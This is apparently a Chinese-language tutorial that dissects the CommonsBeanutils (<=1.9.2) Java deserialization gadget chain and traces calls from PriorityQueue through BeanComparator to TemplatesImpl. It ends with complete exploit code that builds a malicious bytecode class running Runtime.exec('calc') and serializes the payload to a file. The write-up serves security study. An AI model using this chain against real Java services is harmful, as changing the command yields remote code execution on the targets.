CommonsBeanutils反序列化链
CommonsBeanutils是Apache提供的一款用于操作 JavaBean 的工具方法,该依赖在<=1.9.2版本存在反序列化高危漏洞,允许攻击者通过构造方法利用链在反序列化时进行远程代码执行
利用链原理
该链使用TemplatesImpl动态类加载的方式进行代码执行,先前我们知道需要触发该类的newTransformer()方法来进行类加载、实例化,该方法其实也被TemplatesImpl.getOutputProperties()调用
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
CommonsBeanutils依赖中,工具类PropertyUtils是一个用于获取JavaBean对象属性的类,其getProperty()方法接收一个Object对象和一个字符串,该方法用于返回字符串对应的字段值
该工具类调用的是PropertyUtilsBean的同名方法
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return PropertyUtilsBean.getInstance().getProperty(bean, name); }
|
PropertyUtilsBean的getProperty()方法又调用了getNestedProperty(),由于getProperty()支持嵌套查询值,getNestedProperty()就是用于进行解嵌套的,获取最终要取值的对象
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null) { throw new IllegalArgumentException("No bean specified"); } else if (name == null) { throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'"); } else { while(this.resolver.hasNested(name)) { String next = this.resolver.next(name); Object nestedBean = null; if (bean instanceof Map) { nestedBean = this.getPropertyOfMapBean((Map)bean, next); } else if (this.resolver.isMapped(next)) { nestedBean = this.getMappedProperty(bean, next); } else if (this.resolver.isIndexed(next)) { nestedBean = this.getIndexedProperty(bean, next); } else { nestedBean = this.getSimpleProperty(bean, next); }
if (nestedBean == null) { throw new NestedNullException("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'"); }
bean = nestedBean; name = this.resolver.remove(name); }
if (bean instanceof Map) { bean = this.getPropertyOfMapBean((Map)bean, name); } else if (this.resolver.isMapped(name)) { bean = this.getMappedProperty(bean, name); } else if (this.resolver.isIndexed(name)) { bean = this.getIndexedProperty(bean, name); } else { bean = this.getSimpleProperty(bean, name); }
return bean; } }
|
没有嵌套时,则会调用getSimpleProperty()方法
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null) { throw new IllegalArgumentException("No bean specified"); } else if (name == null) { throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'"); } else if (this.resolver.hasNested(name)) { throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (this.resolver.isIndexed(name)) { throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (this.resolver.isMapped(name)) { throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (bean instanceof DynaBean) { DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'"); } else { return ((DynaBean)bean).get(name); } } else { PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'"); } else { Method readMethod = this.getReadMethod(bean.getClass(), descriptor); if (readMethod == null) { throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'"); } else { Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); return value; } } } }
|
该方法前面进行了一系列检查,最后还是调用了反射方法invokeMethod()去取值,方法readMethod在getReadMethod()方法获取,如果bean为TemplatesImpl,name为outputProperties,获取的方法就是getOutputProperties()

那么接下来寻找getProperty()的上层,BeanComparator.compare()调用了该方法
public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException iae) { throw new RuntimeException("IllegalAccessException: " + iae.toString()); } catch (InvocationTargetException ite) { throw new RuntimeException("InvocationTargetException: " + ite.toString()); } catch (NoSuchMethodException nsme) { throw new RuntimeException("NoSuchMethodException: " + nsme.toString()); } } }
|
只需将o1和o2设置为恶意Templates,this.property设置为字符串outputProperties,就和后半段连通了,BeanComparator.compare()的上层自然就是PriorityQueue.readObject(),通过前面CC2了解到在PriorityQueue类的readObject()方法中,会一路调用到comparator.compare()方法,将comparator属性设置为BeanComparator即可
利用链构造
首先是恶意TemplatesImpl的构建
ClassPool pool = ClassPool.getDefault(); CtClass test = pool.makeClass("test"); CtConstructor constructor = test.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); test.setSuperclass(superClass); byte[] bytes = test.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templatesImpl, "any"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templatesImpl, new byte[][]{bytes}); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templatesImpl, new TransformerFactoryImpl());
|
构造beanComparator,设置其property字段为字符串outputProperties
BeanComparator<TemplatesImpl> beanComparator = new BeanComparator<>(); beanComparator.setProperty("outputProperties");
|
接下来构造priorityQueue,过程和cc2的构造差不多,要保证有两个元素确保反序列化时compare()能够执行,延迟注入comparator避免提前执行
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(); priorityQueue.add(1); priorityQueue.add(2); Class<?> clazz = priorityQueue.getClass(); Field field = clazz.getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue, beanComparator); Field queue = clazz.getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue, new Object[]{templatesImpl, templatesImpl});
|
全链如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.beanutils.BeanComparator; import org.junit.Test;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass test = pool.makeClass("test"); CtConstructor constructor = test.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); test.setSuperclass(superClass); byte[] bytes = test.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templatesImpl, "any"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templatesImpl, new byte[][]{bytes}); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templatesImpl, new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>(); beanComparator.setProperty("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(); priorityQueue.add(1); priorityQueue.add(2); Class<?> clazz = priorityQueue.getClass(); Field field = clazz.getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue, beanComparator); Field queue = clazz.getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue, new Object[]{templatesImpl, templatesImpl}); serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cb.ser"))); oos.writeObject(obj); }
@Test public void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cb.ser"))); ois.readObject(); } }
|
该依赖曾被shiro框架使用,也是shiro反序列化执行命令的重要组成